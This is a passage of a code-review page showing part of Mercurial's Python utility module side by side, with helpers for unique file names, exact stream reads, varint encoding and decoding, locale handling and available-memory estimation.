3501 tag: a string tag that will be included in the new name
3502 ctx: a context, in which the new name must not exist
3502 ctx: a context, in which the new name must not exist
3503 others: a set of other filenames that the new name must not be in
3503 others: a set of other filenames that the new name must not be in
3504
3504
3505 Returns a file name of the form oldname~tag[~number] which does not exist
3505 Returns a file name of the form oldname~tag[~number] which does not exist
3506 in the provided context and is not in the set of other names.
3506 in the provided context and is not in the set of other names.
3507 """
3507 """
3508 if others is None:
3508 if others is None:
3509 others = set()
3509 others = set()
3510
3510
3511 fn = b'%s~%s' % (f, tag)
3511 fn = b'%s~%s' % (f, tag)
3512 if fn not in ctx and fn not in others:
3512 if fn not in ctx and fn not in others:
3513 return fn
3513 return fn
3514 for n in itertools.count(1):
3514 for n in itertools.count(1):
3515 fn = b'%s~%s~%s' % (f, tag, n)
3515 fn = b'%s~%s~%s' % (f, tag, n)
3516 if fn not in ctx and fn not in others:
3516 if fn not in ctx and fn not in others:
3517 return fn
3517 return fn
3518
3518
3519
3519
3520 def readexactly(stream, n):
3520 def readexactly(stream, n):
3521 '''read n bytes from stream.read and abort if less was available'''
3521 '''read n bytes from stream.read and abort if less was available'''
3522 s = stream.read(n)
3522 s = stream.read(n)
3523 if len(s) < n:
3523 if len(s) < n:
3524 raise error.Abort(
3524 raise error.Abort(
3525 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3525 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3526 % (len(s), n)
3526 % (len(s), n)
3527 )
3527 )
3528 return s
3528 return s
3529
3529
3530
3530
3531 def uvarintencode(value):
3531 def uvarintencode(value):
3532 """Encode an unsigned integer value to a varint.
3532 """Encode an unsigned integer value to a varint.
3533
3533
3534 A varint is a variable length integer of 1 or more bytes. Each byte
3534 A varint is a variable length integer of 1 or more bytes. Each byte
3535 except the last has the most significant bit set. The lower 7 bits of
3535 except the last has the most significant bit set. The lower 7 bits of
3536 each byte store the 2's complement representation, least significant group
3536 each byte store the 2's complement representation, least significant group
3537 first.
3537 first.
3538
3538
3539 >>> uvarintencode(0)
3539 >>> uvarintencode(0)
3540 '\\x00'
3540 '\\x00'
3541 >>> uvarintencode(1)
3541 >>> uvarintencode(1)
3542 '\\x01'
3542 '\\x01'
3543 >>> uvarintencode(127)
3543 >>> uvarintencode(127)
3544 '\\x7f'
3544 '\\x7f'
3545 >>> uvarintencode(1337)
3545 >>> uvarintencode(1337)
3546 '\\xb9\\n'
3546 '\\xb9\\n'
3547 >>> uvarintencode(65536)
3547 >>> uvarintencode(65536)
3548 '\\x80\\x80\\x04'
3548 '\\x80\\x80\\x04'
3549 >>> uvarintencode(-1)
3549 >>> uvarintencode(-1)
3550 Traceback (most recent call last):
3550 Traceback (most recent call last):
3551 ...
3551 ...
3552 ProgrammingError: negative value for uvarint: -1
3552 ProgrammingError: negative value for uvarint: -1
3553 """
3553 """
3554 if value < 0:
3554 if value < 0:
3555 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3555 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3556 bits = value & 0x7F
3556 bits = value & 0x7F
3557 value >>= 7
3557 value >>= 7
3558 bytes = []
3558 bytes = []
3559 while value:
3559 while value:
3560 bytes.append(pycompat.bytechr(0x80 | bits))
3560 bytes.append(pycompat.bytechr(0x80 | bits))
3561 bits = value & 0x7F
3561 bits = value & 0x7F
3562 value >>= 7
3562 value >>= 7
3563 bytes.append(pycompat.bytechr(bits))
3563 bytes.append(pycompat.bytechr(bits))
3564
3564
3565 return b''.join(bytes)
3565 return b''.join(bytes)
3566
3566
3567
3567
3568 def uvarintdecodestream(fh):
3568 def uvarintdecodestream(fh):
3569 """Decode an unsigned variable length integer from a stream.
3569 """Decode an unsigned variable length integer from a stream.
3570
3570
3571 The passed argument is anything that has a ``.read(N)`` method.
3571 The passed argument is anything that has a ``.read(N)`` method.
3572
3572
3573 >>> try:
3573 >>> try:
3574 ... from StringIO import StringIO as BytesIO
3574 ... from StringIO import StringIO as BytesIO
3575 ... except ImportError:
3575 ... except ImportError:
3576 ... from io import BytesIO
3576 ... from io import BytesIO
3577 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3577 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3578 0
3578 0
3579 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3579 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3580 1
3580 1
3581 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3581 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3582 127
3582 127
3583 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3583 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3584 1337
3584 1337
3585 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3585 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3586 65536
3586 65536
3587 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3587 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3588 Traceback (most recent call last):
3588 Traceback (most recent call last):
3589 ...
3589 ...
3590 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3590 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3591 """
3591 """
3592 result = 0
3592 result = 0
3593 shift = 0
3593 shift = 0
3594 while True:
3594 while True:
3595 byte = ord(readexactly(fh, 1))
3595 byte = ord(readexactly(fh, 1))
3596 result |= (byte & 0x7F) << shift
3596 result |= (byte & 0x7F) << shift
3597 if not (byte & 0x80):
3597 if not (byte & 0x80):
3598 return result
3598 return result
3599 shift += 7
3599 shift += 7
3600
3600
3601
3601
3602 # Passing the '' locale means that the locale should be set according to the
3602 # Passing the '' locale means that the locale should be set according to the
3603 # user settings (environment variables).
3603 # user settings (environment variables).
3604 # Python sometimes avoids setting the global locale settings. When interfacing
3604 # Python sometimes avoids setting the global locale settings. When interfacing
3605 # with C code (e.g. the curses module or the Subversion bindings), the global
3605 # with C code (e.g. the curses module or the Subversion bindings), the global
3606 # locale settings must be initialized correctly. Python 2 does not initialize
3606 # locale settings must be initialized correctly. Python 2 does not initialize
3607 # the global locale settings on interpreter startup. Python 3 sometimes
3607 # the global locale settings on interpreter startup. Python 3 sometimes
3608 # initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
3608 # initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
3609 # explicitly initialize it to get consistent behavior if it's not already
3609 # explicitly initialize it to get consistent behavior if it's not already
3610 # initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
3610 # initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
3611 # LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
3611 # LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
3612 # if we can remove this code.
3612 # if we can remove this code.
3613 @contextlib.contextmanager
3613 @contextlib.contextmanager
3614 def with_lc_ctype():
3614 def with_lc_ctype():
3615 oldloc = locale.setlocale(locale.LC_CTYPE, None)
3615 oldloc = locale.setlocale(locale.LC_CTYPE, None)
3616 if oldloc == 'C':
3616 if oldloc == 'C':
3617 try:
3617 try:
3618 try:
3618 try:
3619 locale.setlocale(locale.LC_CTYPE, '')
3619 locale.setlocale(locale.LC_CTYPE, '')
3620 except locale.Error:
3620 except locale.Error:
3621 # The likely case is that the locale from the environment
3621 # The likely case is that the locale from the environment
3622 # variables is unknown.
3622 # variables is unknown.
3623 pass
3623 pass
3624 yield
3624 yield
3625 finally:
3625 finally:
3626 locale.setlocale(locale.LC_CTYPE, oldloc)
3626 locale.setlocale(locale.LC_CTYPE, oldloc)
3627 else:
3627 else:
3628 yield
3628 yield
3629
3629
3630
3630
3631 def _estimatememory():
3631 def _estimatememory():
3632 """Provide an estimate for the available system memory in Bytes.
3632 """Provide an estimate for the available system memory in Bytes.
3633
3633
3634 If no estimate can be provided on the platform, returns None.
3634 If no estimate can be provided on the platform, returns None.
3635 """
3635 """
3636 if pycompat.sysplatform.startswith(b'win'):
3636 if pycompat.sysplatform.startswith(b'win'):
3637 # On Windows, use the GlobalMemoryStatusEx kernel function directly.
3637 # On Windows, use the GlobalMemoryStatusEx kernel function directly.
3638 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
3638 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
3639 from ctypes.wintypes import Structure, byref, sizeof, windll
3639 from ctypes.wintypes import Structure, byref, sizeof, windll
3640
3640
3641 class MEMORYSTATUSEX(Structure):
3641 class MEMORYSTATUSEX(Structure):
3642 _fields_ = [
3642 _fields_ = [
3643 ('dwLength', DWORD),
3643 ('dwLength', DWORD),
3644 ('dwMemoryLoad', DWORD),
3644 ('dwMemoryLoad', DWORD),
3645 ('ullTotalPhys', DWORDLONG),
3645 ('ullTotalPhys', DWORDLONG),
3646 ('ullAvailPhys', DWORDLONG),
3646 ('ullAvailPhys', DWORDLONG),
3647 ('ullTotalPageFile', DWORDLONG),
3647 ('ullTotalPageFile', DWORDLONG),
3648 ('ullAvailPageFile', DWORDLONG),
3648 ('ullAvailPageFile', DWORDLONG),
3649 ('ullTotalVirtual', DWORDLONG),
3649 ('ullTotalVirtual', DWORDLONG),
3650 ('ullAvailVirtual', DWORDLONG),
3650 ('ullAvailVirtual', DWORDLONG),
3651 ('ullExtendedVirtual', DWORDLONG),
3651 ('ullExtendedVirtual', DWORDLONG),
3652 ]
3652 ]
3653
3653
3654 x = MEMORYSTATUSEX()
3654 x = MEMORYSTATUSEX()
3655 x.dwLength = sizeof(x)
3655 x.dwLength = sizeof(x)
3656 windll.kernel32.GlobalMemoryStatusEx(byref(x))
3656 windll.kernel32.GlobalMemoryStatusEx(byref(x))
3657 return x.ullAvailPhys
3657 return x.ullAvailPhys
3658
3658
3659 # On newer Unix-like systems and Mac OSX, the sysconf interface
3659 # On newer Unix-like systems and Mac OSX, the sysconf interface
3660 # can be used. _SC_PAGE_SIZE is part of POSIX; _SC_PHYS_PAGES
3660 # can be used. _SC_PAGE_SIZE is part of POSIX; _SC_PHYS_PAGES
3661 # seems to be implemented on most systems.
3661 # seems to be implemented on most systems.
3662 try:
3662 try:
3663 pagesize = os.sysconf(os.sysconf_names['SC_PAGE_SIZE'])
3663 pagesize = os.sysconf(os.sysconf_names['SC_PAGE_SIZE'])
3664 pages = os.sysconf(os.sysconf_names['SC_PHYS_PAGES'])
3664 pages = os.sysconf(os.sysconf_names['SC_PHYS_PAGES'])
3665 return pagesize * pages
3665 return pagesize * pages
3666 except OSError: # sysconf can fail
3666 except OSError: # sysconf can fail
3667 pass
3667 pass
3668 except KeyError: # unknown parameter
3668 except KeyError: # unknown parameter
3669 pass
3669 pass
General Comments 0
You need to be logged in to leave comments. Login now